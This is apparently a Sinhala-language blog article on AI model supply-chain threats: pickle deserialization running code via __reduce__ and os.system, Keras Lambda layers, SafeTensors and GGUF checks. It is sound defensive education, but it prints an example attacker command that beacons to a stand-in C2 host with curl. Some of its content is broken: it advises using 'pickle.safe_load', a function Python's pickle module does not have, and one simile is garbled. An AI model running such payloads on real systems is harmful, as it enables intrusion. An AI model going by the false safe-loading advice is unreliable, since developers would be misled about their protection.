AI ආරක්ෂාව ගැන කතා කරන විට බොහෝ වෙලාවට සලකුණු පතුරු (slide decks) පමණක් පෙන්වා, සැබැවින්ම මොඩලයක් හෝ පැකේජයක් ඔබේ පරිගණකයට ඇතුළත් වීමට පෙර එය ආරක්ෂිතද කියා පරීක්ෂා කරන ක්රම ගැන අමතක වෙලා තියෙනවා. මේ ලිපියෙන් අපි AI සැපයුම් දාරයේ සැබෑ තර්ජන පෘෂ්ඨය, එය කෙලින්ම කුමක්ද, කෙලින්ම කුමක් හේතුවෙන් සිදු වේද, සහ ඔබට අදම පරීක්ෂා කරන්න පුළුවන් ක්රම කෙලි කරමු.
Pickle – මූලික ගැටළුව
Python භාෂාවේ මොඩල සුරක්ෂිත කිරීමේදී බොහෝ වෙලාවට .pkl හෝ .pt ගොනු භාවිතා කරනවා. මේ ගොනු Pickle නමැති සිරියලයිසෙෂන් (serialization) ආකාරයෙන් සාදනවා. Pickle එකේ විශේෂත්වය නම්, ඒක ඕනෑම Python වස්තුවක් ගොනුවකට පරිවර්තනය කර, පසුකාලීනව එය නැවත සකස් කරන විට __reduce__ මාර්ගය භාවිතා කරයි. එම මාර්ගය හරහා ඕනෑම callable (කාර්යයක්) එකක්, ඕනෑම arguments (පරාමිතීන්) සමඟ ක්රියාත්මක කළ හැක. ඒ නිසා, නරක අයෙකුට os.system වගේ සංකේතයක් දී, පරිගණකයට අනිසි විධාන ක්රියාත්මක කරගත හැක.
උදාහරණයක් ලෙස, නරක කෙනෙක් curl http://c2.example.com/beacon යන කමන්ඩ් එකක් ක්රියාත්මක කරන malicious model එකක් සකස් කර, pickle.dump මගින් ගොනුව සුරකින්නේ. පරිශීලකයා pickle.load භාවිතා කරන විට, Python එම කමන්ඩ් එක ක්රියාත්මක කරයි. මේක Word ලේඛනයක් විවෘත කරන විට මාලවෙළෙන් මැලවෙන මාලවෙළක් වගේ – අන්තර්ගතය පෙනෙන නැතිව පසුපස තර්ජනයක් පවතී.
Pickle පසුතැවීමෙන් වැඩි තර්ජන
Pickle ප්රහාරය ලෝඩ් (load) කිරීමේදී සිදුවුවත්, තවත් තර්ජනයක් inference (අනුමාන) සමයෙදී සිදුවේ. Keras/TensorFlow හි Lambda layer එකක් භාවිතා කරමින්, අක්රමික ඉන්පුට් එකක් ලැබුන විට, නරක කේතයක් ක්රියාත්මක විය හැක. SafeTensors ලෙස පරිවර්තනය කරන්නේ load‑time කේතය ඉවත් කරනවා, නමුත් Lambda layer එක architecture එකේ කොටසක් වන නිසා එය ඉවත් නොවේ. ඒ නිසා ආරක්ෂක ක්රමය එකක්ම නොව, දෙකක්ම අවශ්යයි.
ශ්රී ලංකාවට ඇති වැදගත්කම
ශ්රී ලංකාවේ AI සංවර්ධකයන්, විශ්වවිද්යාල සිසුන්, සහ තාක්ෂණික ව්යාපාරයන් සඳහා මේ තොරතුරු ඉතා වැදගත්. පළමු වශයෙන්, Python පදනම්ව AI මොඩල සකස් කරන සිසුන් Pickle ගොනු භාවිතා කරන විට, ඒවායේ ආරක්ෂාකාරී පරීක්ෂණයක් නොකළහොත්, දේශීය ව්යාපාරයන්ට දත්ත රහස්යතා උල්ලංඝනයක් සිදුවිය හැක. දෙවැනි වශයෙන්, Keras/TensorFlow භාවිතා කරන ආරම්භක සංවර්ධකයන් Lambda layer වලින් අන්යෝන්ය ආකාරයේ backdoor එකක් හෝ hidden trigger එකක් ඇතුළත් කර ඇති දැකීමේ අවදානමක් ඇත. තෙවැනි වශයෙන්, PyTorch, GGUF ආකාරයේ LLM (local large language model) භාවිතා කරන ව්යාපාරිකයන්ට, ආකාරික ආකාරයේ supply‑chain attack එකක් එහිම පැමිණිය හැකි බැවින්, නිවැරදි scanning tool එකක් (උදා. safetensors + custom architecture audit) භාවිතා කිරීම අත්යවශ්ය වේ.
ඉතින්, ඔබේ AI මොඩලය භාරගන්නා පෙර, පහත පියවර අනුගමනය කරන්න:
- Pickle ගොනු load කරන විට
pickle.loadවෙනුවටpickle.safe_load(ලබා ගත හැකි නම්) භාවිතා කරන්න. - Keras model එකක් ලබා ගන්නා විට Lambda layer භාවිතය අඩු කර, SafeTensors වලට පරිවර්තනය කර, architecture graph එක විශ්ලේෂණය කරන්න.
- LLM ගොනු (GGUF) භාවිතා කරන විට, විශ්වාසනීය source එකකින්ම ලබා ගන්න, සහ checksum පරීක්ෂා කරන්න.
අවසන් වශයෙන්, AI සැපයුම් දාරයේ තර්ජන පෘෂ්ඨය තවමත් සංකීර්ණයි, නමුත් නිවැරදි උපකරණ සහ අවධානයෙන් ඔබේ පද්ධතිය ආරක්ෂා කරගත හැක.
